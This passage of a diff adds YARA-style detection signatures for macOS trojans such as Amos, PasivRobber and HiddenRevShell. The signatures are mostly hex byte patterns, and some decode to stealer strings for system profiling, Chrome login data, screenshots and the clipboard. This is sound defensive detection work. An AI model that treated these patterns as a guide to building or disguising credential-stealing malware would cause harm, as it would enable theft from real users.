"Trojan:MacOS/Amos.DR!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {6b 05 00 11 6b 1d 40 92 ec 1f 40 f9 8d 69 6b 38 a9 01 09 0b 2e 1d 40 92 8f 69 6e 38 8f 69 2b 38 8d 69 2e 38 ec 1f 40 f9 8d 69 6b 38 8e 69 6e 38 cd 01 0d 0b ad 1d 40 92 8c 69 6d 38 ed 07 40 f9 ac 69 28 38 08 05 00 91 5f 01 08 eb } //1 + $a_01_1 = {ea 1f 40 f9 4b 69 69 38 ec 13 40 f9 8c 69 69 38 68 01 08 0b 08 01 0c 0b 0c 1d 40 92 4d 69 6c 38 4d 69 29 38 4b 69 2c 38 29 05 00 91 3f 01 04 f1 81 fe ff 54 ff 02 18 eb 40 03 00 54 08 00 80 d2 09 00 80 52 0b 00 80 d2 bf 06 00 f1 aa 86 9f 9a } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DS_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DS_MTB.yar new file mode 100644 index 0000000000..6b478531eb --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DS_MTB{ + meta: + description = "Trojan:MacOS/Amos.DS!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {ff 83 00 d1 fd 7b 01 a9 fd 43 00 91 e0 07 00 f9 00 00 00 d0 00 f4 15 91 86 00 00 94 } //1 + $a_01_1 = {e0 0b 40 f9 a8 43 5b b8 08 21 00 71 a8 43 1b b8 a8 83 5b b8 a9 43 5b b8 08 29 c9 1a 08 1d 00 12 e8 bf 00 39 e1 bf c0 39 6a 0a 00 94 01 00 00 14 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DT_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DT_MTB.yar new file mode 100644 index 0000000000..e2eafa4701 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DT_MTB{ + meta: + description = "Trojan:MacOS/Amos.DT!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {55 48 89 e5 48 83 ec 20 48 89 7d f8 48 8b 7d f8 48 89 7d f0 e8 77 1f 00 00 a8 01 75 02 eb 0f } //1 + $a_01_1 = {48 8b 7d f0 e8 98 1f 00 00 48 89 45 e8 eb 0d } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DU_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DU_MTB.yar new file mode 100644 index 0000000000..541a9253bd --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_MacOS_Amos_DU_MTB{ + meta: + description = "Trojan:MacOS/Amos.DU!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {40 8a 3c 11 40 30 c7 40 80 f7 07 40 88 ?? ?? ?? ?? ?? ?? 69 c0 ?? ?? 00 00 48 89 c7 48 0f af fe 48 c1 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DW_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DW_MTB.yar new file mode 100644 index 0000000000..4f923f6b7a --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DW_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DW_MTB{ + meta: + description = "Trojan:MacOS/Amos.DW!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 83 fb f8 73 50 48 89 d8 48 83 e0 f8 48 83 c0 08 49 89 dc 49 83 cc 07 49 83 fc 17 4c 0f 44 e0 49 ff c4 4c 89 e7 e8 a2 1d 00 00 49 89 47 10 49 83 cc 01 4d 89 27 49 89 5f 08 49 89 c7 } //1 + $a_01_1 = {4c 89 f0 48 83 e0 f8 48 83 c0 08 4d 89 f7 49 83 cf 07 49 83 ff 17 4c 0f 44 f8 49 ff c7 4c 89 ff e8 bb 0e 00 00 49 83 cf 01 4c 89 3b 48 89 43 10 4c 89 73 08 48 83 c4 08 5b 41 5e 41 5f 5d } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DY_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DY_MTB.yar new file mode 100644 index 0000000000..eeeb67a993 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DY_MTB{ + meta: + description = "Trojan:MacOS/Amos.DY!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {ff c3 02 d1 fd 7b 0a a9 fd 83 02 91 e8 17 00 f9 a8 83 1f f8 a0 03 1f f8 a8 63 00 d1 e8 1b 00 f9 a1 83 1e f8 a2 03 1e f8 a3 83 1d f8 a4 03 1d f8 a0 03 5f f8 a8 fc ff 97 a0 83 1c f8 08 00 80 52 e8 17 00 b9 08 01 00 12 08 01 00 12 a8 73 1c 38 a0 83 5c f8 21 00 80 d2 57 01 00 94 e8 17 40 b9 e0 0f 00 f9 a1 83 5c f8 e0 43 01 91 e0 13 00 f9 02 01 00 12 } //1 + $a_01_1 = {e8 5b 40 f9 00 41 00 91 99 fd ff 97 8c 01 00 94 a0 03 15 f8 a8 03 55 f8 08 01 40 f9 e8 23 00 f9 a0 23 02 d1 e0 27 00 f9 8e 01 00 94 e8 23 40 f9 e9 03 00 aa e0 27 40 f9 28 01 00 f9 93 01 00 94 7f 01 00 94 e8 03 00 aa e0 5b 40 f9 a9 03 55 f8 28 01 00 f9 a8 03 55 f8 e8 2b 00 f9 a1 03 59 f8 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EA_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EA_MTB.yar new file mode 100644 index 0000000000..8af2b9688d --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_EA_MTB{ + meta: + description = "Trojan:MacOS/Amos.EA!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {e8 83 00 91 e0 e3 00 91 9e fe ff 97 2b ff ff 97 f3 23 00 91 e8 23 00 91 e0 83 00 91 a1 23 01 d1 51 fe ff 97 e8 7f c0 39 e9 07 40 f9 1f 01 00 71 20 b1 93 9a 29 02 00 94 20 ff ff 97 e8 9f c1 39 e9 2b 40 f9 1f 01 00 71 e8 43 01 91 20 b1 88 9a 22 02 00 94 e8 7f c0 39 } //1 + $a_01_1 = {ff 83 01 d1 eb 2b 02 6d e9 23 03 6d f4 4f 04 a9 fd 7b 05 a9 fd 43 01 91 fc 02 00 94 f3 a3 90 52 73 3d aa 72 08 7c 33 9b 09 fd 7f d3 08 fd 65 93 08 01 09 0b 94 0c 80 52 08 81 14 1b 09 fd 42 1e f2 02 00 94 08 7c 33 9b 09 fd 7f d3 08 fd 65 93 08 01 09 0b 08 81 14 1b 00 01 62 1e } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EC_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EC_MTB.yar new file mode 100644 index 0000000000..f09d864057 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_EC_MTB{ + meta: + description = "Trojan:MacOS/Amos.EC!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {48 8d 5d 80 0f 1f 00 43 8b 04 27 43 2b 04 2f 41 33 06 0f be f0 48 89 df } //2 + $a_03_1 = {48 89 c2 4c 09 e2 48 c1 ea 20 74 ?? 31 d2 49 f7 f4 48 89 d0 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EE_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EE_MTB.yar new file mode 100644 index 0000000000..1fafe79259 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_EE_MTB{ + meta: + description = "Trojan:MacOS/Amos.EE!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {55 48 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 28 49 89 f6 48 89 fb 0f b6 36 40 f6 c6 01 75 1d 40 f6 c6 02 0f 85 e4 00 00 00 0f 57 c0 0f 11 03 48 c7 43 10 00 00 00 00 48 d1 ee eb 1c } //1 + $a_01_1 = {45 31 ff 45 31 e4 eb 14 66 66 66 2e 0f 1f 84 00 00 00 00 00 49 83 c4 02 49 83 c7 fe 45 0f b6 2e 41 f6 c5 01 75 0e 49 d1 ed 4d 39 ec 73 79 48 8b 75 b8 eb 0d } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EF_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EF_MTB.yar new file mode 100644 index 0000000000..d9adbc7f30 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_EF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_EF_MTB{ + meta: + description = "Trojan:MacOS/Amos.EF!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {c1 e3 06 41 0b 58 14 41 8d 44 24 06 41 83 fc 02 7c 36 41 83 c4 fe 44 89 e6 c1 ee 03 ff c6 31 d2 41 83 fc 18 73 2a 41 89 c4 eb 78 89 c8 31 d2 f7 f7 89 d6 49 8b 06 48 8b 04 f0 48 85 c0 } //1 + $a_01_1 = {48 89 cf 48 c1 ef 3e 48 31 cf 48 0f af f8 48 01 f7 48 ff cf 48 89 bc f5 e8 f5 ff ff 48 81 fe 38 01 00 00 74 2a 48 8d 4a 01 49 89 f8 49 c1 e8 3e 49 31 f8 4c 0f af c0 4c 01 c1 49 01 f0 4c 89 84 f5 f0 f5 ff ff 48 83 c2 02 48 83 c6 02 eb b1 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_J_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_J_MTB.yar deleted file mode 100644 index 554e4d5db7..0000000000 --- a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_J_MTB.yar +++ /dev/null @@ -1,16 +0,0 @@ - -rule Trojan_MacOS_Amos_J_MTB{ - meta: - description = "Trojan:MacOS/Amos.J!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,0b 00 0b 00 06 00 00 " - - strings : - $a_00_0 = {c0 00 00 f0 00 20 0c 91 7c f9 ff 97 e1 03 00 aa f5 83 00 91 e0 83 00 91 cc 3b 00 94 e8 df 40 39 09 1d 00 13 3f 01 00 71 ea 27 42 a9 28 b1 88 9a 40 b1 95 9a 1f 15 00 f1 01 01 00 54 08 00 40 b9 08 01 14 4a 09 10 40 39 4a 0a 80 52 29 01 0a 4a 08 01 09 2a e8 00 00 34 } //5 - $a_00_1 = {93 0d 00 b4 b4 48 8a 52 54 ea a9 72 c0 00 00 f0 00 38 0d 91 98 f9 ff 97 e1 03 00 aa f5 03 01 91 e0 03 01 91 e8 3b 00 94 e8 5f 41 39 09 1d 00 13 3f 01 00 71 ea 27 44 a9 28 b1 88 9a 40 b1 95 9a 1f 15 00 f1 01 01 00 54 08 00 40 b9 08 01 14 4a 09 10 40 39 4a 0a 80 52 29 01 0a 4a 08 01 09 2a e8 00 00 34 } //5 - $a_00_2 = {74 34 0f 57 c0 48 8b 51 f8 49 89 57 f8 0f 10 49 e8 41 0f 11 4f e8 49 83 c7 e8 0f 11 41 e8 48 c7 41 f8 00 00 00 00 48 8d 51 e8 48 89 d1 48 39 c2 75 d3 4c 89 7d e0 48 8d 7d b8 } //2 - $a_00_3 = {73 79 73 74 65 6d 5f 70 72 6f 66 69 6c 65 72 20 53 50 48 61 72 64 77 61 72 65 44 61 74 61 54 79 70 65 } //3 system_profiler SPHardwareDataType - $a_00_4 = {73 79 73 74 65 6d 5f 70 72 6f 66 69 6c 65 72 20 73 70 64 69 73 70 6c 61 79 73 64 61 74 61 74 79 70 65 } //3 system_profiler spdisplaysdatatype - $a_00_5 = {73 77 5f 76 65 72 73 } //3 sw_vers - condition: - ((#a_00_0 & 1)*5+(#a_00_1 & 1)*5+(#a_00_2 & 1)*2+(#a_00_3 & 1)*3+(#a_00_4 & 1)*3+(#a_00_5 & 1)*3) >=11 - -} \ No newline at end of file diff --git a/Trojan/MacOS/AtomicSteal/Trojan_MacOS_AtomicSteal_AA.yar b/Trojan/MacOS/AtomicSteal/Trojan_MacOS_AtomicSteal_AA.yar new file mode 100644 index 0000000000..9dcf77a7bf --- /dev/null +++ b/Trojan/MacOS/AtomicSteal/Trojan_MacOS_AtomicSteal_AA.yar @@ -0,0 +1,14 @@ + +rule Trojan_MacOS_AtomicSteal_AA{ + meta: + description = "Trojan:MacOS/AtomicSteal.AA,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {5f 6d 65 6d 63 70 79 } //1 _memcpy + $a_00_1 = {48 89 d1 48 c1 e9 1d 4c 21 e9 48 31 d1 48 89 cf 48 c1 e7 11 49 b8 00 00 00 00 00 78 06 00 4c 21 c7 49 89 c8 49 c1 e0 25 49 b9 00 00 00 00 00 e8 07 00 4d 21 c8 49 31 f8 49 31 d0 49 c1 e8 2b 44 31 c1 32 0c 30 80 c1 05 88 0c 30 48 ff c6 } //1 + $a_00_2 = {48 8d 47 01 48 c1 e8 03 49 f7 e7 48 d1 ea 48 69 c2 38 01 00 00 48 f7 d8 4c 8d 04 07 49 ff c0 49 8b 04 fc 4c 21 f0 44 89 c2 4d 8b 14 d4 45 89 d1 41 81 e1 fe ff ff 7f 49 09 c1 4c 8d 9f 9c 00 00 00 4c 89 d8 48 c1 e8 03 49 f7 e7 d1 ea 69 c2 38 01 00 00 41 29 c3 49 d1 e9 41 f6 c2 01 ba 00 00 00 00 48 0f 45 d3 4b 33 14 dc 4c 31 ca 49 89 14 fc } //1 + $a_00_3 = {5f 73 79 73 74 65 6d } //1 _system + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/MacOS/GogoKChain/Trojan_MacOS_GogoKChain_A_MTB.yar b/Trojan/MacOS/GogoKChain/Trojan_MacOS_GogoKChain_A_MTB.yar new file mode 100644 index 0000000000..5d5ac6645d --- /dev/null +++ b/Trojan/MacOS/GogoKChain/Trojan_MacOS_GogoKChain_A_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_GogoKChain_A_MTB{ + meta: + description = "Trojan:MacOS/GogoKChain.A!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {55 48 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 38 48 89 d3 4c 8b 35 70 33 00 00 4c 8b 3d 41 1b 00 00 48 89 cf 41 ff d7 48 89 45 a8 48 89 df 41 ff d7 49 89 c4 4c 89 f7 e8 32 09 00 00 48 8b 35 8f 32 00 00 4c 8b 3d 08 1b 00 00 48 89 c7 41 ff d7 48 8b 35 d3 32 00 00 48 8d 15 34 1f 00 00 48 89 c7 48 89 c3 } //1 + $a_01_1 = {48 8b 3d 14 33 00 00 48 8b 35 ed 32 00 00 48 8d 15 36 1f 00 00 4c 89 e1 31 c0 41 ff d7 48 89 c7 e8 f4 08 00 00 48 89 45 a0 48 8b 3d fb 32 00 00 48 8b 35 ec 31 00 00 48 8d 15 2d 1f 00 00 48 89 c1 45 31 c0 31 c0 41 ff d7 48 89 c7 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/HiddenRevShell/Trojan_MacOS_HiddenRevShell_A_MTB.yar b/Trojan/MacOS/HiddenRevShell/Trojan_MacOS_HiddenRevShell_A_MTB.yar new file mode 100644 index 0000000000..117071b573 --- /dev/null +++ b/Trojan/MacOS/HiddenRevShell/Trojan_MacOS_HiddenRevShell_A_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_MacOS_HiddenRevShell_A_MTB{ + meta: + description = "Trojan:MacOS/HiddenRevShell.A!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {40 00 80 52 21 00 80 52 02 00 80 52 d9 } //1 + $a_01_1 = {e0 1f 00 b9 e1 63 00 91 e0 03 13 aa 02 02 80 52 a9 } //1 + $a_03_2 = {f4 03 00 aa 01 00 80 52 61 ?? ?? ?? e0 03 14 aa 21 00 80 52 5e ?? ?? ?? e0 03 14 aa 41 00 80 52 5b } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/MacOS/HiddenRevShell/Trojan_MacOS_HiddenRevShell_B_MTB.yar b/Trojan/MacOS/HiddenRevShell/Trojan_MacOS_HiddenRevShell_B_MTB.yar new file mode 100644 index 0000000000..c14d4edd61 --- /dev/null +++ b/Trojan/MacOS/HiddenRevShell/Trojan_MacOS_HiddenRevShell_B_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_MacOS_HiddenRevShell_B_MTB{ + meta: + description = "Trojan:MacOS/HiddenRevShell.B!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {bf 02 00 00 00 be 01 00 00 00 31 d2 e8 } //1 + $a_01_1 = {89 df ba 10 00 00 00 e8 } //1 + $a_03_2 = {48 89 f3 41 89 fe 31 f6 e8 ?? ?? ?? ?? 6a 01 41 5f 44 89 f7 44 89 fe e8 ?? ?? ?? ?? 6a 02 5e } //2 + $a_03_3 = {89 df 31 f6 e8 ?? ?? ?? ?? 89 df be 01 00 00 00 e8 c7 01 00 00 89 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*2+(#a_03_3 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/MacOS/PasivRobber/Trojan_MacOS_PasivRobber_A_MTB.yar b/Trojan/MacOS/PasivRobber/Trojan_MacOS_PasivRobber_A_MTB.yar new file mode 100644 index 0000000000..d78d2f148b --- /dev/null +++ b/Trojan/MacOS/PasivRobber/Trojan_MacOS_PasivRobber_A_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_MacOS_PasivRobber_A_MTB{ + meta: + description = "Trojan:MacOS/PasivRobber.A!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 06 00 00 " + + strings : + $a_01_0 = {0f b6 73 fe 48 89 f7 48 c1 ef 02 42 0f b6 0c 0f 41 88 4c 05 00 c1 e6 04 83 e6 30 0f b6 4b ff 48 89 cf 48 c1 ef 04 48 09 f7 41 0f b6 14 39 41 88 54 05 01 83 e1 0f 0f b6 13 48 89 d6 48 c1 ee 06 48 8d 0c 8e 41 0f b6 0c 09 41 88 4c 05 02 83 e2 3f 42 0f b6 0c 0a 41 88 4c 05 03 48 83 c0 04 48 83 c3 03 49 39 c0 } //1 + $a_01_1 = {55 48 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 58 8b 4e 30 85 c9 0f 8e 62 02 00 00 49 89 f7 48 8b 1a 48 8b 72 08 48 89 f7 b8 01 00 00 00 48 29 df 0f 84 49 02 00 00 48 89 55 80 45 31 f6 4c 89 7d c8 } //1 + $a_01_2 = {41 8b 4f 30 41 01 ce 48 8b 45 80 48 8b 18 48 8b 70 08 48 89 f7 48 29 df 4c 39 f7 0f 86 06 02 00 00 0f 57 c0 0f 29 45 a0 48 c7 45 b0 00 00 00 00 85 c9 } //1 + $a_01_3 = {54 42 4c 5f 41 46 5f 57 45 42 5f 51 51 42 52 4f 57 53 45 52 5f 44 4f 57 4e 4c 4f 41 44 } //1 TBL_AF_WEB_QQBROWSER_DOWNLOAD + $a_01_4 = {54 42 4c 5f 41 46 5f 57 45 42 5f 4c 49 4e 55 58 5f 46 49 52 45 46 4f 58 5f 53 45 41 52 43 48 } //1 TBL_AF_WEB_LINUX_FIREFOX_SEARCH + $a_01_5 = {54 42 4c 5f 41 46 5f 57 45 42 5f 43 48 52 4f 4d 45 5f 4c 4f 47 49 4e 5f 44 41 54 41 } //1 TBL_AF_WEB_CHROME_LOGIN_DATA + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/MacOS/PasivRobber/Trojan_MacOS_PasivRobber_B_MTB.yar b/Trojan/MacOS/PasivRobber/Trojan_MacOS_PasivRobber_B_MTB.yar new file mode 100644 index 0000000000..d47143c788 --- /dev/null +++ b/Trojan/MacOS/PasivRobber/Trojan_MacOS_PasivRobber_B_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_MacOS_PasivRobber_B_MTB{ + meta: + description = "Trojan:MacOS/PasivRobber.B!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {e2 0d 7f 29 e4 15 c2 28 42 08 c0 5a 63 08 c0 5a 84 08 c0 5a a5 08 c0 5a 5f fc 1f 71 e6 97 9f 1a 5f 00 20 71 e7 27 9f 1a 7f fc 1f 71 f4 97 9f 1a 7f 00 20 71 f7 27 9f 1a 9f fc 1f 71 f8 97 9f 1a 9f 00 20 71 f9 27 9f 1a bf fc 1f 71 fc 97 9f 1a bf 00 20 71 fe 27 9f 1a a5 00 02 71 09 26 9f 9a 84 00 02 71 0a 26 9f 9a 63 00 02 71 1b 26 9f 9a 42 00 02 71 42 7c 07 53 13 26 9f 9a 5f fc 07 71 62 7c 07 53 e3 27 9f 1a 5f fc 07 71 82 7c 07 53 e4 27 9f 1a 5f fc 07 71 } //1 + $a_01_1 = {4d e1 5f 38 ae fd 42 d3 8e 69 6e 38 6f 01 08 8b ee f1 1f 38 ad 6d 1c 53 ad 05 7c 92 4e f1 5f 38 ad 11 4e aa 8d 69 6d 38 ed 01 00 39 cd 75 1e 53 ad 0d 7e 92 4e 35 40 38 ad 19 4e aa 8d 69 6d 38 ed 05 00 39 cd 15 40 92 8d 69 6d 38 ed 09 00 39 08 11 00 91 3f 01 08 eb } //1 + $a_01_2 = {fc 57 00 a9 f3 53 03 29 f7 13 00 f9 0d 00 80 d2 0e 00 80 d2 0c 00 80 d2 0b 00 80 d2 08 fd 42 d3 08 05 00 91 f5 03 08 aa 09 f1 7e 92 c8 0a 09 8b f6 0b 00 f9 cf 22 00 91 f6 03 09 aa 90 00 80 52 51 00 80 52 60 00 80 52 e1 03 09 aa } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/MacOS/PasivRobber/Trojan_MacOS_PasivRobber_C_MTB.yar b/Trojan/MacOS/PasivRobber/Trojan_MacOS_PasivRobber_C_MTB.yar new file mode 100644 index 0000000000..7d7b5a3a5e --- /dev/null +++ b/Trojan/MacOS/PasivRobber/Trojan_MacOS_PasivRobber_C_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_MacOS_PasivRobber_C_MTB{ + meta: + description = "Trojan:MacOS/PasivRobber.C!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {57 58 52 6f 62 62 65 72 } //1 WXRobber + $a_01_1 = {63 6f 6d 2e 6d 79 61 6d 2e 70 6c 69 73 74 } //1 com.myam.plist + $a_01_2 = {47 65 74 53 63 72 65 65 6e 53 68 6f 74 } //1 GetScreenShot + $a_01_3 = {6c 69 62 49 4d 4b 65 79 54 6f 6f 6c } //1 libIMKeyTool + $a_01_4 = {52 65 6d 6f 74 65 4d 73 67 4d 61 6e 61 67 65 72 } //1 RemoteMsgManager + $a_01_5 = {47 65 74 43 6c 69 70 62 6f 61 72 64 49 6e 66 6f 73 } //1 GetClipboardInfos + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SAgnt/Trojan_MacOS_SAgnt_F_MTB.yar b/Trojan/MacOS/SAgnt/Trojan_MacOS_SAgnt_F_MTB.yar new file mode 100644 index 0000000000..214a221941 --- /dev/null +++ b/Trojan/MacOS/SAgnt/Trojan_MacOS_SAgnt_F_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_SAgnt_F_MTB{ + meta: + description = "Trojan:MacOS/SAgnt.F!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 7d d8 4c 39 ff 0f 8d 53 01 00 00 45 31 f6 48 89 f8 31 db 48 85 ff 0f 88 37 01 00 00 41 8a 4c 04 08 8d 51 d0 80 fa 0a 73 4d 0f b6 c9 89 da 48 c1 eb 20 48 01 d2 48 8d 14 92 89 d6 48 c1 ea 20 48 8d 1c 9b 48 8d 14 5a 48 89 d3 48 c1 eb 20 48 c1 e2 20 48 09 f2 4d 01 f6 4f 8d 34 b6 48 83 c1 d0 48 01 d1 49 11 de 48 89 cb 48 ff c0 49 39 c7 } //1 + $a_01_1 = {49 d3 e2 4c 89 d7 48 c1 ef 20 48 89 f0 31 d2 48 f7 f7 49 89 c1 48 89 d0 45 89 d7 45 89 c3 4c 89 ca 49 0f af d7 4c 0f a4 c0 20 48 39 d0 73 25 4c 01 d0 4c 39 d0 41 0f 93 c0 48 39 d0 0f 92 c3 31 f6 44 20 c3 49 0f 45 f2 48 01 f0 0f b6 f3 48 f7 d6 49 01 f1 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SAgnt/Trojan_MacOS_SAgnt_G_MTB.yar b/Trojan/MacOS/SAgnt/Trojan_MacOS_SAgnt_G_MTB.yar new file mode 100644 index 0000000000..b0a68122b7 --- /dev/null +++ b/Trojan/MacOS/SAgnt/Trojan_MacOS_SAgnt_G_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_SAgnt_G_MTB{ + meta: + description = "Trojan:MacOS/SAgnt.G!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {49 d3 e4 4c 89 e7 48 c1 ef 20 48 89 d0 31 d2 48 f7 f7 49 89 c1 48 89 d0 45 89 e2 45 89 c3 4c 89 ca 49 0f af d2 4c 0f a4 c0 20 48 39 d0 73 27 4c 01 e0 4c 39 e0 41 0f 93 c0 48 39 d0 41 0f 92 c7 31 db 45 20 c7 49 0f 45 dc 48 01 d8 41 0f b6 df 48 f7 d3 49 01 d9 } //1 + $a_01_1 = {48 29 d0 31 d2 48 f7 f7 4c 0f af d0 48 c1 e2 20 4c 09 da 4c 39 d2 73 25 4c 01 e2 4c 39 e2 41 0f 93 c0 4c 39 d2 0f 92 c3 31 ff 44 20 c3 49 0f 45 fc 48 01 fa 0f b6 fb 48 f7 d7 48 01 f8 4c 29 d2 49 c1 e1 20 49 09 c1 48 d3 ea } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_A.yar b/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_A.yar new file mode 100644 index 0000000000..5eac78e035 --- /dev/null +++ 